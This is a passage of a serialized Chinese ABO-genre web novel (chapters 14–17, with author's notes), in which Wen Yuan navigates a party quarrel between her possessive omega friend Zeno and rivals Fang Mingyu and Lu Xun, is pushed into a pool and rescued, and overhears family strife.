在见到方鸣玉第一眼的时候,泽诺就自动把这种倨傲且眼高于顶的alpha归到黄毛混混一类。 本来见到黄毛alpha就烦,然后这个恬不知耻的黄毛竟敢在大庭广众之下撬他墙角? 当他是摆设吗? “你有病吧?”泽诺直言不讳。 方鸣玉好整以暇地看他,仿佛在看一场闹剧。 “干嘛这么激动?她不是你女朋友吧。” 一句话给泽诺干沉默了。 因为他说的是事实。 虽然他和闻鸢从小一起长大,形影不离到可以睡一张床。 泽诺第一次出糗,第一次生长痛,第一次易感期,闻鸢都在身边。 渐渐地,她已经成为泽诺生命中不可或缺的一部分,或者说,闻鸢本人就是他活在这个世界上的印记。 他们二人并没有确定关系,但泽诺已经将她当做自己的所有物。 一旦分离就会产生撕裂般的苦痛和不安。 所以当方鸣玉挑衅的眼神掠过他而停驻在闻鸢身上时,他再也管不了那些所谓的教养和礼仪。 泽诺一把拉住alpha的衣领,迫使他硬生生停住脚步。 方鸣玉的视线从闻鸢身上撕开,落在泽诺身上显得疏离阴翳。 他斜眼看着这个花瓶似的omega,嗤笑道:“难道我说错了?” 挑衅的目光玩|弄着泽诺的神经,捏着衬衫的手因用力过猛而微微颤抖。 方鸣玉低笑出声,眼神带着可怜意味,“她无与伦比,不是吗?” 下一刻,泽诺忽然变得歇斯底里起来,眼神中的偏执几乎不加掩饰。 “那也轮不到你。” 暴躁的性格只允许泽诺忍耐到这种程度,在说出这句话之后,他抬起手臂,似乎要当众打人。 鸢宝,你的麻烦在后头![亲亲] 小沈,修罗场三缺一,速来![狗头] 家人们目前数据不太好,我打算攒字数到暑假,然后争取申榜入v。 各位去留随意。 作者有话说 显示所有文的作话 第14章 第 14 章 第15章 第 15 章 倒吸声响起,在一旁发愣的约顿眼疾手快地捏住儿子的手腕,随后重重拉下。 他将泽诺拉至身后,语气略带威胁,“疯了吗?他可不是随意撒泼的对象。” 他笑意盈盈地打着圆场,漫不经心地给闻鸢递了个眼色。 在不远处的闻鸢接收到主父的眼神,上前一步,将泽诺带到了后|庭。 她牵起泽诺的手,背身时与方鸣玉视线相交,后者微垂眉眼,眼角勾出一个温柔得瘆人的笑意。 简直比下降头还要恐怖。 明明今天和上次见面只间隔半个月,太子爷的态度居然会差那么多。 从狂肆不羁到深情款款,恕她接受无能。 手腕被泽诺轻轻捏住,灼热温度将思绪拉回。 后|庭西北角有个大大的游泳池,那里没人,泽诺气冲冲地拣了个椅子坐下,抬眉问道:“我是不是闯祸了?” 乍一看像在后怕,但语气听不出一丝后悔,更多的是理直气壮。 闻鸢低头轻笑,熟稔地将他额前的碎发拨开,没有表明态度。 “约顿叔叔会处理好的。” 无论他杀了人还是放了火,奥兰德夫妇都有能力为他兜底。 烦躁的怒火被这句话浇灭了一些,几缕火星子在想到方鸣玉那张臭脸的时候又死灰复燃起来。 泽诺拍着桌子怒斥方鸣玉不懂社交礼仪,说他轻佻低俗,说他不知好歹,说他比陆寻还要下贱。 陆寻也没想到一晚之后自己掉到了榜二。 现在方鸣玉荣登泽诺最讨厌的人top 1,而且还是断层第一。 微风吹过,水池泛起波纹,水腥气混杂着幽冷的松香扑面而来。 泽诺就这么说着,闻鸢安静地听,左耳朵进右耳朵出,不时附和一下,显得自己参与度很高的样子。 “他就是个自大又愚蠢的alpha。” “嗯,我也觉得。” “他不懂礼貌,毫无尊重可言。” “对对,”闻鸢想接下去,但难得噎了一下。 相比泽诺当众发飙打人,身为alpha的方鸣玉已经相当克制了。 “嗯?”泽诺没等到闻鸢的认同,抬眼望她,目光如炬。 闻鸢在违心蛐蛐和转移话题之间选择了后者,毕竟泽诺倒了半小时垃圾,她这个垃圾桶早满了。 嘴角轻轻扯出一个安抚的笑意,闻鸢清秀的眉眼中露出一点无奈和包容。 “不生气了,猜猜我给你准备了什么生日礼物?” 但可惜的是,这招只发挥了50%的威力。 听到礼物,蓝眼睛弯出一片月牙似的弧度,但意识到闻鸢在转移话题后,眉头又不满地蹙起。 蓝眼睛在闻鸢脸上扫了一遍,泽诺微微眯眼,面带狐疑。 “不对劲,你和方鸣玉,不会早就认识吧?” omega的第六感果然准得可怕。 闻鸢冷汗直冒,动用全部功力控制自己的面部表情。 她嗤笑了一声,像听到什么杞人忧天的笑话,“别逗了,我每天泡实验室,哪有时间认识这些公子哥儿。” 说罢,她直视泽诺,手指穿过他后颈处的碎发,将抑制贴翘起的边缘一点点按平。 玫瑰信息素盘旋着萦绕而上,将指尖灼烧得滚烫。 闻鸢垂下眉眼,提醒道:“信息素外泄了。” 正常alpha能够通过信息素判断omega的情绪状态,但beta的腺体却不具备这种功能。 相较于AO灵敏的腺体,beta的腺体是迟钝死板的隔绝体,只能捕捉信息素却无法进行生化反应。 这也是为什么大多数omega更喜欢选择alpha作为伴侣的原因。 不过好在闻鸢熟悉泽诺脾性,即使不靠信息素也能准确判断泽诺的情绪状态。 omega颈间的肌肤白嫩柔软,像一团富有弹性的白色棉花糖。 泽诺抓住她的手掌,头靠过去依恋地蹭了蹭。 这是他焦虑时特有的小动作。 手指顺着下颌线划到喉结上方,闻鸢捏了捏脖颈处那块软肉,却发现泽诺最近瘦了不少。 她下意识地皱了皱眉,“节食减肥?你的BMI指数在正常范围内吗?” 泽诺被她弄得有点痒,缩了缩肩膀,心虚道:“别闹,和你说正事呢。” 闻鸢不吃他这套,捏着他的下巴迫使他抬起头。 “你的身体健康也是正事,下次必须好好吃饭,我会监督。” 她语速很急,深沉的浅棕色眼睛里透出几分不满和担忧。 看她关心自己,泽诺“哦”了一声,沉默几息后倾身抱住闻鸢。 她总是这样,在莫名其妙的小事上投入太多关注。 “减肥以后穿礼服会更好看。”他埋在闻鸢怀里,默默顶嘴道。 “不减也好看,你怎样都好看。” 手掌一下一下地抚过脊骨,将泽诺冒出的不安念头一一压灭。 “我说,”泽诺闷闷的声音响起,他似乎咬了咬嘴唇,语气有些难为情,“如果方鸣玉追你的话,你会答应吗?” 背后的手掌顿了顿,好久没动作。 泽诺把手掌贴在闻鸢心口,紧张得几乎忘记了呼吸。 克制低沉的笑声通过胸腔的震荡传到掌心,他恍然间听到自己凝固成冰的血液重新解冻。 “原来你在担心这个!” 闻鸢抓住他的指尖,调侃地对他挤了挤眼睛,表情颇为欠揍: “嗯……虽然方鸣玉自大、霸道、不讲礼仪,但是他不会像某人一样蛮横、骄纵、口不对心。” “所以,如果他要追求我的话,我就勉为其难……” 后半句闻鸢没说出来,尾音碾碎在唇齿间,玫瑰味的信息素混杂着唇釉的木质香气一道袭来,令她头晕目眩。 滚烫的唇瓣细细捻磨,舌尖在闻鸢的唇缝间打了个旋,随后长驱直入,攻城略地。 闻鸢后仰,似乎不太能承受这样的热情,但随后又认命般地托住他的后脑勺,加深了这个吻。 尖细的牙齿轻咬唇瓣,他面颊绯红,含糊不清地威胁道:“你敢答应就死定了!” 闻鸢没回,闷闷的笑声掠过水面,带起一阵波澜。 “怎么个死法?” 他用手比出手|枪的形状,“啪!” “我会一枪崩了你。” 鸦羽似的睫毛在他光滑的脸蛋上投下一片阴翳,偏执的性格在这一刻得以显现。 指尖捏了捏泽诺精巧的耳垂,闻鸢神情淡淡,“我死后,你会伤心吗?” 泽诺很认真地思考了这个可能性,却发现大脑无法把“闻鸢”和“死亡”这两个东西联系在一起。 于是他上前一步,二人额头相抵,熟悉的鸢尾花香从她发间传来。 闻鸢看到泽诺的睫毛轻轻颤了颤,像是被雨露打湿的花朵,他的表情如此脆弱,但说出来的话却令人后背发寒。 “如果真的发生了那种事,我一定会先杀了你。” “然后用同一把枪射|穿我的头颅。” 中二小说看多了吧。 什么阴暗爬行白切黑病娇omega,这种设定闻鸢只在古早小说里面见到过,没成想病娇竟在她身边。 幸好联邦早就禁枪了。 闻鸢颇为头痛地叹了口气,觉得路漫漫其修远兮,有必要对泽诺进行一次社会主义核心价值观教育。 揽在omega腰间的手骤然收紧,她安抚地圈住他,识趣地换了个话题。 “生日礼物是机械闪蝶,还要不要了?” 泽诺疑惑抬头,眼神绽出一丝惊喜。 “你加入机械社就是为了给我做生日礼物?” 那倒不是。 做些机械小玩意儿纯属她个人爱好,但一想到给泽诺挑礼物她就头疼。 所以她就讨个巧,想着把刚做好的机械闪蝶送他得了。 “唔,我想你应该会喜欢蝴蝶吧。” 她眨了眨眼,态度含糊不明,没有正面回答泽诺的问题。 泽诺弯了弯眉毛,狡黠道:“我喜不喜欢,那也要等礼物拿来才知道。” 闻鸢用指尖点了点他的眉心,眼底漫开笑意,“一旦送出,概不退货。” 那只机械闪蝶被摆在书桌上,翅膀边缘泛着冷冽的蓝光,精细的齿轮紧密嵌合在一起,启动时发出微弱的电流声。 闻鸢拿到空旷的地方试飞,磷光涂层在空气中划出幽蓝线条,随后一头扎进灌木丛中。 她大惊,一把捞起那东西,反复检查了一遍。 微型锂电池正常,碳纤维杆没有破损,轨迹无误。 那究竟有什么问题? “后翼绞链脱位了。” 一道清越冷冽的声音从背后响起。 “不可能,我加了纳米固定器。”她矢口否认,却后知后觉地发现这声音异常熟悉。 闻鸢回头,看到方鸣玉倚在柱子旁,姿态随意慵懒。 要命,太子爷怎么会在这里? 尴尬漫上心头,闻鸢深吸了一口气,装作无事人一般地打开机身,果然看到脱落的铰链。 还真让他说对了。 “你怎么知道绞链有问题?” 她抬眸,脸上满是好奇。 方鸣玉从石阶上一跃而下,动作矫健。 他接过闻鸢手中的闪蝶,熟稔地将绞链推回原位,再将纳米固定器后置了两个位点。 “锂电池产生的热量会让固定器松动。” “咔”地一声,幽蓝色的翅膀微微颤动,蝴蝶复眼迟钝地转了一圈。 方鸣玉将蝴蝶抬起来,磷光涂层在月光下骤然发亮,颜色由幽蓝变为湛蓝。 “光感涂层?很有意思。” 他挑了挑眉,将蝴蝶放到闻鸢手中,“对机械工程感兴趣?” 手指微微收紧,闻鸢垂下眼,平静道:“随便做着玩儿的东西。” “随便?”alpha发出一声意味不明的轻笑,炽烈而大胆的眸子一瞬不瞬地盯着她。 “这种精细程度,可不像是随便做出来的。” “闻鸢,在我面前可以坦诚一些。” 他弯下身子,视线与她平齐,凌厉的压迫感却并没有减少。 灰狼一样的眼睛钉在她身上,闻鸢后退一步,让出一个安全距离。 “捉弄我很好玩吗?” “什么?”方鸣玉皱了皱眉,好似听不懂她的话。 “你在泽诺面前说的那些话,让我很困扰。” 闻鸢重重地闭了闭眼,下了最后通牒,“我不是你捉弄的对象,麻烦换个人吧。” 她扭身,轻逸的裙摆在空气划出一道弧线,柔而冷的纱拂过男人的脚踝,一触即分。 风吹过,轻纱掠过石柱,皮鞋踏过坚硬的大理石地板,显得有些急促。 方鸣玉一把抓住闻鸢的手腕,声音气急败坏,“你把宴会上的话当做捉弄?” “不是吗?”闻鸢停住脚步,疾言厉色地质问道。 方鸣玉僵住了,失落神色划过灰眸,他几欲张口,但话到嘴边却又胆怯起来。 “那些话……不是捉弄……” 闻鸢挣开他的手,莫名其妙地瞟了他一眼。 这还不算捉弄?难道算他急中生智情难自已硬刚情敌宣誓主权真情告白吗? 要真的是这样,精神病院更适合他。 多说无益,她扭头,快速穿过回廊。 视野宽阔起来,高大的松树分列两侧。 掠过重重树影,她抬眼望去,却在泽诺身边看到了一个熟悉又讨厌的人。 陆寻穿着精致的高定西装,长发束在脑后。 他双手环胸,语气不善,“为什么要向教授举报我作弊?有意思吗?” 泽诺闻言回怼,“把我朋友圈发到论坛的时候,没想过后果?” 泽诺刚被闻鸢哄好一点,陆寻又上赶着找骂,今天他算是踢到铁板了。 “还有,你的脑沟回简直平坦得可以滑滑梯,小测那种难度,居然靠作弊才能过。” 泽诺翻了个白眼,真诚劝说道:“别给华大经济系的学生丢脸了行吗?” 太阳穴青筋暴涨,陆寻一把扯住泽诺的衣领,大声呵斥道:“闭嘴,贱人!” “建议你转去隔壁生命学院。” 泽诺突然倾身凑近,海蓝色的眼睛嘲弄地扫过他脸上每一寸肌肉,吐出的语句愈发刻薄。 “毕竟单细胞生物不需要构建经济模型,你说对吗?草履虫先生?” 陆寻猛然暴起,手下用力,泽诺的胸针被蛮力扯下,在瓷砖上砸出一声脆响。 “你他爹的装什么清高!上个月的作业都是闻鸢帮你写的。” 泽诺偏头嗤笑一声,手指一下下戳着陆寻的肩膀,字字诛心。 “至少我没作弊就拿到了满分,而你靠作弊才刚好通过及格……啊!” 头皮传来尖锐的刺痛,泽诺被迫弯下腰,他忍痛掐住陆寻的手腕,恶狠狠地威胁道:“你找死?!” 下一秒,泽诺伸出手臂,如法炮制地抓住陆寻的辫子,将他的头狠狠按下。 站在不远处的闻鸢眼睁睁地看着两个衣冠楚楚的omega互掐起来,突然觉得她的生活就是超级抓马、要素齐全的大烂片。 编剧呢?编剧在哪里?她要告到中央! 假期随机掉落一章,求涨收。 【作话】 小方:在情敌面前隔空告白宣誓主权,我是天才! 鸢宝:(炸毛)你滚!(ノ`Д)ノ 小方:原来对我一点好感都没有啊,被嫌弃了,怎么办怎么办…… 鸢宝:别折磨我了,你比较适合去精神病院。 下章预告 少爷:陆寻我跟你不共戴天!(豪门狗血剧本) 鸢宝:别打了别打了,要打去练舞室打。(苦逼社畜剧本) 小方:是时候展现我的天赋技能了。(热血运动番) 作者有话说 显示所有文的作话 第15章 第 15 章 第16章 第 16 章 “好了,你们两个冷静点。” 他们两个扭打在一起,跟麻花儿似的。 无奈之下,闻鸢将手臂插|到二人之间,将二人推远了一些。 陆寻头发乱得像鸡窝,那头柔顺光泽的黑发被泽诺蹂|躏得不成样子。 被推开后,他显然没有消气。 他气势汹汹地上前一步,想要再跟泽诺分个高下。 闻鸢见状急忙挡在泽诺面前,脸上凑出一个安抚的笑意,“陆少爷,有话好好说。” 幽蓝的宝石在雪白的脖颈间尤为扎眼,陆寻盯着那条项链看了一会儿,眉头不悦地皱起。 他死死地盯着闻鸢,恨不得从她身上撕掉一层皮,他咬牙切齿道: “我的珠宝怎么会在你身上?!” 泽诺从闻鸢身后跳出来,反驳道:“你少发神经,这是三天前我从拍卖会上买来的。” “可笑,我在一个月前就付了定金,你就这么喜欢抢人东西?” 陆寻扬了扬下巴,恶意揣测的功夫炉火纯青。 作为现场唯一一个正常人,闻鸢明白这口锅应该由拍卖行来背。 要骂也应该骂那个马虎大意的负责人,但明显二人就是想借着新矛盾再吵一架,颇有些醉翁之意不在酒的感觉。 双方各执一词,争执不下,眼见争吵又要进入人身攻击阶段,闻鸢只能再一次站出来充当和事佬。 “看来是有什么误会,我们不妨给拍卖行……” 还没等她说完,陆寻已经开始发动第一轮无差别攻击。 “少在这里和稀泥,把东西还给我。” 他不满地伸出手,懒得听闻鸢解释,态度轻慢不屑。 归还?好啊,她求之不得。 这条项链的威力她今天算是见识了。 只戴了一晚,各种倒霉事却争先恐后地追上来,把这一年的倒霉kpi都拉满了。 或许这条debuff项链在陆寻身上会产生更明显的效果,她拭目以待。 她伸手去解项链,却被身后的泽诺握住了手腕。 “凭什么给你?我买到的就是我的!” 一以贯之的蛮横语气和傲慢作态。 闻鸢急忙按住他,安抚道:“他在故意激你,别理他。” “听话,嗯?” 她的安抚起了作用,泽诺似乎冷静了一些,只是气不过地偏头冷哼一声。 昂贵笨重的项链被解开,带着体温的珠宝被放到陆寻手心。 他挑了挑眉,对闻鸢勾起一个挑衅轻蔑的笑容,“你知道我生平最讨厌什么吗?” 管你这那的,拿走就滚。 闻鸢额头突突,不知道这位祖宗又要搞什么幺蛾子。 粼粼的水光打在他脸上,照出蛇鳞般幽森纹路,眼皮轻轻一掀,刻薄话语如毒液般涌出。 “我最讨厌别人染指我的东西,脏死了。” 下一秒,手臂挥出一个优雅的弧度。 当着闻鸢和泽诺的面,他眼都不眨地将那条项链丢到了水池里。 贵重的晶体在水面激起大圈涟漪,水花迸溅,水珠折射出晶莹流光。 他像刚刚丢掉垃圾一般地轻轻拍了拍手,随后对上泽诺布满血丝的双眼,嘴唇轻轻挑起一个胜利者的笑容。 “脏东西不要也罢。” 闻鸢站在原地,试图理解陆寻的动机,但理解失败。 她大受震撼,感觉自己像只没进化完全的猴子。 但泽诺显然和陆寻共用一个脑电波,他咬紧后槽牙,脸颊肌肉因过于紧绷而深深凹陷。 他像颗金色的子弹,“唰”地直冲而出,挥舞的拳头带着暴怒,横冲直撞地砸向陆寻。 陆寻也不甘示弱,这一刻终于丢了上流贵族最看重的尊严和面子,凶狠架势不输菜市口吵架的大爷大妈。 “装什么?插足赵琰和他未婚妻的关系,你自己不脏吗?” 泽诺冷着脸,海蓝色的眸子幽深阴郁,整个人在夜色下显得鬼气森森。 凶狠的表情裂开了一缝,难堪、脆弱如同开闸的洪水,将他眼中的怒火全部压下。 脖颈上翻出几根青筋,疯狂情绪如同压抑已久的火山,被泽诺刺激一番之后迅速迸涌而出。 “你懂什么?乔之瑜根本不爱赵琰,她爱我,她会爱我的,我只是在争取我本来的位置。” 好一个颠倒黑白,偷换概念。看来这次陆寻真的破防了。 闻鸢本以为这样就足够泽诺出气,但没想到他还在持续发力。 小嘴像是刀子一样,每一刀都精准命中陆寻的七寸。 “她不爱赵琰又怎样,你在她心里排得上号吗?她会事事以你为先,为你遮风挡雨吗?” “你真可怜。” 如果陆寻眼中的怨毒能够化为实质,那么泽诺此刻早就是一滩血水。 闻鸢脊背一悚,忽而看到陆寻绿色的眸子底下涌动着令人不安的疯狂,像是暴雨来袭之前的飓风。 果不其然,陆寻闪电般地伸出双手,目标则是泽诺的脖颈。 他居然想要当着她的面掐死泽诺! 闻鸢当然不会让这种事发生,于是她侧身抵在泽诺面前,尖利指甲划过脸颊,鲜血顺着破口渗出。 她的保护姿态太过明显,像一只护着心爱之物的雌鹰。 陆寻曾经嗤笑泽诺眼光差劲,居然找了一个二级beta当情人。 可此时此刻,酸涩的嫉妒顺着怒火一齐涌入喉头,将声带灼得疼痛不已。 泽诺也有一个爱他,宠他,事事以他为先,为他遮风挡雨的人。 而他陆寻苦苦哀求,却换不来那人的随意一瞥。 凭什么? 他和泽诺家世相当,相貌不分伯仲,他在交际圈里声名斐然,凭什么泽诺能得到想要的东西,他就不能。 一个疯狂的念头闪过脑海,他看着那个沉默寡言的beta,嘴角勾起一个悚人的笑意。 他抬手,闻鸢做出防御姿态,将泽诺护得严严实实。 手臂挥到空中,却在落下时突然转向,手臂绕过闻鸢的格挡,在她肩膀处重重发力。 闻鸢身体□□,不由自主地往左倒腾了几步,刚站稳身体,后背又被重重一攘。 原本她可以在泳池边缘停下脚步,但奈何礼服裙太长,拖曳在地上,成了压死骆驼的最后一根稻草。 “哗啦”—— 海雾纱在水中展现出惊人的吸水能力,闻鸢被轻纱糊了一脸,双腿抻得笔直,但无论怎么倒腾,始终踩不到池底。 她被陆寻推到了深水区。 岸上的人声听不真切,像隔着一层水雾,水波将那张可憎的脸晕染得面目模糊。 “闻鸢,快点抓住我的手……贱人!你干什么?松手!” “如果她有什么好歹我一定会把你杀掉!我发誓!” 泽诺的惊叫时断时续,不久便被被水波的翻涌声所掩盖。 水漫入口鼻,顺着气管渗入肺部。 闻鸢像一只久栖在陆地上的鱼,既没有如愿长出适应陆地生活的脚,又遗忘了水中的习性。 窒息的痛苦让她头晕目眩,水变成粘稠的混凝土,似乎要将她永远地封冻在这个夏季。 剧烈的水波翻涌而来,将她冲得更远,恍惚间,有人托住她的腰,将她缓缓举出水面。 “闻鸢!闻鸢!醒醒。” “你不要死。” 泽诺的哭腔在耳旁炸响,湿热的眼泪滴到她的眼皮上,眼球转了转,须臾后她缓缓睁开双眼。 泽诺双目通红,衣袖、裤子全部被水沾湿。 他想伸手抱她,却被另一个人抵住肩膀。 “别动,她还没恢复。” 脊背后的热意让人无法忽视,闻鸢后知后觉地发现,抱她的另有其人。 她缓缓抬头,呆愣的眼睛映出方鸣玉清朗俊秀的眉眼。 他全身湿透,发丝贴在额前,水珠经过高挺的鼻梁划过薄唇,最后停在下颌。 “滴答”,那滴水珠落在闻鸢苍白的嘴唇上。 混沌的大脑经过几番运转之后终于得出了一个结论—— 是方鸣玉救了她。 保卫和管家姗姗来迟,约顿瞥了眼半死不活的闻鸢,转头按住泽诺的肩膀,忧心忡忡的目光打量着他。 “让我瞧瞧,你没受伤吧。” 方鸣玉低头,盯着闻鸢脸颊的血迹和脖子上的淤痕,缓缓拧紧眉毛。 他轻轻碰了碰脸颊的伤口,语气里有些不易察觉的心疼,“谁弄的?” 闻鸢闭了闭眼,没有说话。 见她不语,方鸣玉抬头环绕四周,锋利的双眸锁定在陆寻身上。 “你做的?” 他的目光像是要吃人,带有威压的寒意扫过陆寻全身,叫他不寒而栗。 他心虚地往后退了一步,嘴硬狡辩道:“她自己不长眼掉进去的,关我什么事?” “再说了,夏天这么热,进去凉快一下……” “啪!”一个响亮的耳光打在陆寻左颊,那块苍白的肌肤印出巴掌痕迹,可见力道之大。 泽诺不顾众人惊异的目光和约顿骤然变差的脸色,直接戳破他的无耻行径。 “他爹的,当我是死的吗?撒谎不打草稿,我看你就是欠抽!” “敢做不敢当,怂得要命,满口仁义道德,背后却干各种见不得人的勾当,两面派当得挺熟练啊!” 更多宾客闻声而来,对着陆寻和泽诺指指点点,看来今晚的宴会将成为绝佳的饭后谈资。 “怎么不说话了?作弊很开心?随便推人下水很厉害?” “泽诺,噤声!”约顿去拉儿子的袖子,却被他激动地甩开了手。 “要不要给你颁个臭不要脸最佳男主角啊?”他仍旧在持续输出,骂人的话不带重复。 “你爸妈生你的时候是不是把胎盘养大了?怎么养出你这么个……” “家族之耻”还没说出来,他激烈的怒骂便被一道令人畏惧的声音打断。 “闭嘴!泽诺!”低沉愠怒的嗓音从背后传来,泽诺脊背一僵,肩膀被母亲压得发麻。 女alpha冷酷的蓝眼睛扫过儿子,眼神所到之处掀起一片颤抖。 她微微启唇,语气带着警告和训诫,“我想你应该重新学习礼仪课,下周不必去学校了。” 一句轻飘飘的话语,便宣告了禁足。 她转身,轻轻向宾客们鞠了一躬,脸上并无任何尴尬,“抱歉,犬子鲁莽,让各位见笑了。” “正厅上了甜点,各位可以前去享用,若是疲倦,司机已在前厅等候。” “管家,带方少爷和陆少爷下去更衣。” 除了闻鸢外,她把每个人安排得妥妥贴贴,众人看不到热闹,兴致缺缺地散去了。 侍女们心疼地围上来,想要接过闻鸢,却被方鸣玉拒绝了。 “我抱她上去。” 侍女讪讪地望了艾薇一眼,得到对方眼神允许之后便退到一边。 方鸣玉抱起她,经过艾薇时,她礼貌地后退一步,让出地方。 “有劳。” 闻鸢沉默地着靠在方鸣玉的肩膀上,全身肌肉紧绷。那道不带感情的、审视的目光落在她身上,长达数秒。 闻鸢恐惧那样的眼神,艾薇的眼神像把手术刀一样,手起刀落,血肉都被肢解。 吹风机“呜呜”的声音响在耳边,那双眼睛仍在闻鸢脑海中萦绕不散。 侍女长耐心地打理着闻鸢的头发,满脸心疼地说:“那位少爷也太不知轻重了些,淤青需要几天才能见好。” 她长长地叹了一口气,脸上的皱纹更深了些,“但泽诺少爷不应该出手打人的。” “我刚刚路过书房的时候,听见家主正在训斥,骂得很重。” 闻鸢半阖着双眼,镇静清凉的消炎药水稍微缓解了脸上火辣辣的疼痛。 侍女长出去了,但她还在原地坐着,头昏沉得可怕。 即便如此,一番天人交战之后,她还是拖着沉重的身体,缓步挪到书房门口。 门半开着,透出暖黄的灯光,她站在那道窄窄的黄色暖光之间,伸手准备敲门。 “他就是故意推闻鸢下水的,这跟谋杀有什么区别?” 艾薇不耐烦的声音插|入,带着冷酷的、压制性的审判。 “蠢货。” “做任何事情之前都要评估价值。” “你想为闻鸢出气,也要看她值不值。” 【作话】 陆寻:我没人爱。 闻鸢:好说,只要钱到位这边也可以提供宠爱服务。[比心] 蠢作者回来惹。。。[化了]周四之前先更个三章。。。 作者有话说 显示所有文的作话 第16章 第 16 章 第17章 第 17 章 冷风从阳台处的小窗吹来,晃动的纱帘遮住了闻鸢僵硬的身影。 她望着悬挂在小窗上方的那枚残月,突然明白为什么自己那么怕艾薇。 因为只有细看之下,才能发现那人华美画皮下裹着一具腐尸——稍一靠近,就能闻到那股子铜臭和人血味儿。 屋内一片死寂。 那片窄窄的黄色暖光掠过一道人影,泽诺上前一步,颤抖着声音,像只被打湿毛皮的小狗。 “妈妈,我不是机器,也不会把闻鸢摆在天平一端来衡量她的价值。” “我做不到。” 细长的眼睫抖了抖,闻鸢抬起双眸,心下酸涩复杂。 她能够想象到一门之隔的泽诺会是怎样的表情,大概是倔强地扬起下巴,眼睛像暴风雨前的海面,暗潮在平静下汹涌。 艾薇没想到向来乖巧听话的儿子居然会回嘴,怒极反笑,“你把家族利益摆在闻鸢之下?” “知不知道得罪陆家的后果?” 声音一瞬间褪去温柔外壳,裹着寒霜和冰刺的信息素从门缝内漫出。 S级alpha的信息素压制... 如果刚刚只是简单的警告和敲打,那这一次说明艾薇是真的动怒了。 甚至到了怒不可遏的程度。 一阵刺耳的刮擦声响起,约顿的声音插|了进来。 不过这一次,向来温柔优雅的声线却带着压抑扭曲的怒气。 “得罪?这件事情本来就是陆寻的错,何谈得罪?” “要说得罪,二十年前你早把陆家得罪完了。” “之前泽诺就不想请陆寻来生日宴,你却给陆家塞了邀请函。” “艾薇,你想要重修旧好,可人家未必领你这个情。” “够了!” 青瓷花瓶连同鎏金座钟哗啦一声砸向地面,瓷片飞溅的声音连同泽诺的尖叫一齐涌进闻鸢耳中。 刺骨寒意从门内炸开,顺着空气爬上闻鸢脊柱。 闻鸢环抱双臂,在凛冽的信息素中嗅到一丝心虚和畏惧。 不对劲,艾薇有一百分的不对劲。 她在害怕什么? 畏惧陆家?还是畏惧陆家的某个人? 她仔细地回想了一下陆寻的家族情况,却猛然发现自己知之甚少。 陆寻的父亲是某房地产集团的董事,身价超千亿,但他却从未公开承认家主地位。 难道陆家家主另有其人? 如果真是这样,那这个人又是谁? 带着无数谜团,闻鸢浑浑噩噩地回到了房间。 打开手机,搜索“陆氏集团”,跳出一堆陆寻的花边信息,以及一些无孔不入的小广告。 再搜索“陆家家主”,搜索引擎就跟装了过滤器似的,什么词条都没有显示。 好神秘。 话说回来,艾薇和陆家到底有什么过节? 这件事像是奥兰德家族的秘辛,又像是艾薇极力掩盖的污点。 像随时掉落的达摩克里斯之剑一样,让她畏惧,让她惊恐。 闻鸢真的非常好奇,艾薇究竟闯了什么祸,才会得罪了那位神秘的陆家家主? 低落的情绪被好奇掩盖,闻鸢盯着床幔上的羽毛挂件,在思考中陷入深眠。 第二天,她顶着剧痛的嗓子出席组会。 发言时,粗粝的嗓音如同刀片划过黑板,沙哑得像台生锈的机器。 莉娜教授面露难色,她习惯性地推了推眼镜,那双锐利的眼睛在此时显得有些无奈。 “本来想带你参加下午的研讨会,现在看来得换个人了。” “这样,闻鸢待在学校盯一下实验,小沈,你跟我去。” 祸福相依,古人诚不欺我。 闻鸢极力压制住自己上扬的嘴角,装作失落且沉痛地点了点头。 沈照坐在闻鸢对面,视线落在她身上,没挪动半分。 莉娜见沈照心不在焉的样子,皱眉轻唤了一声,“小沈?你可以吗?” 沈照如梦初醒般地眨了眨眼,转头礼貌地回复道:“可以的,教授。” 莉娜奇怪地瞥了他一眼,轻轻地叹了口气,“好了,散会。” 桌椅被拉开,面如死灰的学生们稀稀拉拉地站起来。 闻鸢将散落的文稿整理好,站起身来却觉得头晕目眩,身体虚弱得可怕。 手一抖,那沓文件掉落,但幸而一人眼疾手快,把文件夹捞了回来。 闻鸢抬眸,发现沈照单肩背包,微微弯腰站在她面前。 漆黑的眼眸中闪过关心,“师姐,你的嗓子……” “哦,没事,受凉了,咽炎。” 闻鸢耸了耸肩膀,让他不必担心。 沈照低垂了双眼,将文件上的褶皱抚平,双手递给闻鸢。 沉黑的眸子扫过闻鸢苍白的嘴唇,他欲张口出声,却被凑上来的唐钰骤然打断。 “师姐去哪里吃饭?西校区新建的餐厅还不错,要不要试试?” 闻鸢将文件放回书包,身上有种淡淡的死感,“好远啊,要不在东校区将就一下得了。” “哎呀,你都病成这样了,怎么不吃顿好的犒劳下自己呢?” 唐钰拍了怕她的肩膀,痛心疾首地说道。 “走!我请你。”唐钰哥俩好地搂住闻鸢肩膀,十分大方的样子。 眉毛抖了抖,闻鸢转头看她,目光锐利,“嗯?太阳打西边出来了?” 唐钰被戳穿,嘻嘻一笑,挽着闻鸢撒娇道:“师姐,我前几天看演唱会去了,实验进度落了好多,你能不能……” 看来是要让闻鸢帮她开个小灶。 闻鸢不语,挑挑眉,表情促狭,“那就看你表现了。” 她转头,对沈照使了个眼色,“沈师弟,一起去宰她一顿?” 捏着书包肩带的手指动了动,沈照沉默了一会,眉宇间有些纠结。 须臾,他摇头,疏冷的眉眼弯出一个温柔的弧度。 “我还有事,你们去吧。” 闻鸢被唐钰推着往前走,融入熙熙攘攘的人群中。 唐钰在旁边叽叽喳喳,将八卦讲得引人入胜、活灵活现。 闻鸢听着,不时笑一下,眼神随意一瞥,视线落到不远处的长廊亭。 眼尾的笑意还未散去,忽见紫藤花雾里浮出半张侧脸。 沈照倚着雕花廊柱,衬衫领口被风掀起一角,藤影在他肩头流淌成半透明的绸,悬垂的花串恰好掠过他眉峰。 他双手插兜站在紫藤花架下,视线与闻鸢相接,随后坦然地对她笑了笑。 像是在那里看了她很久很久。 闻鸢这时候才发现,作为beta,沈照的外貌其实非常出挑。 或许是因为他平时过于沉默,也或许是闻鸢烂事缠身,无暇顾及他人,又或许是她身边有泽诺这样的顶级omega,所以其他人显得相形见绌。 高智、温和、谦逊,还是个beta。 她期待未来伴侣所具有的一切品质,沈照都具备。 “师姐,师姐?” 唐钰在闻鸢面前摆了摆手,唤回了正在发呆的闻鸢。 “想什么呢?这么出神?” 闻鸢眨了眨眼,将清隽的脸庞甩出脑海。 她心不在焉地敷衍道:“没事,有些累了。” 唐钰往嘴里扒了两口饭,打开校园论坛逛了一圈,突然惊奇地大叫道: 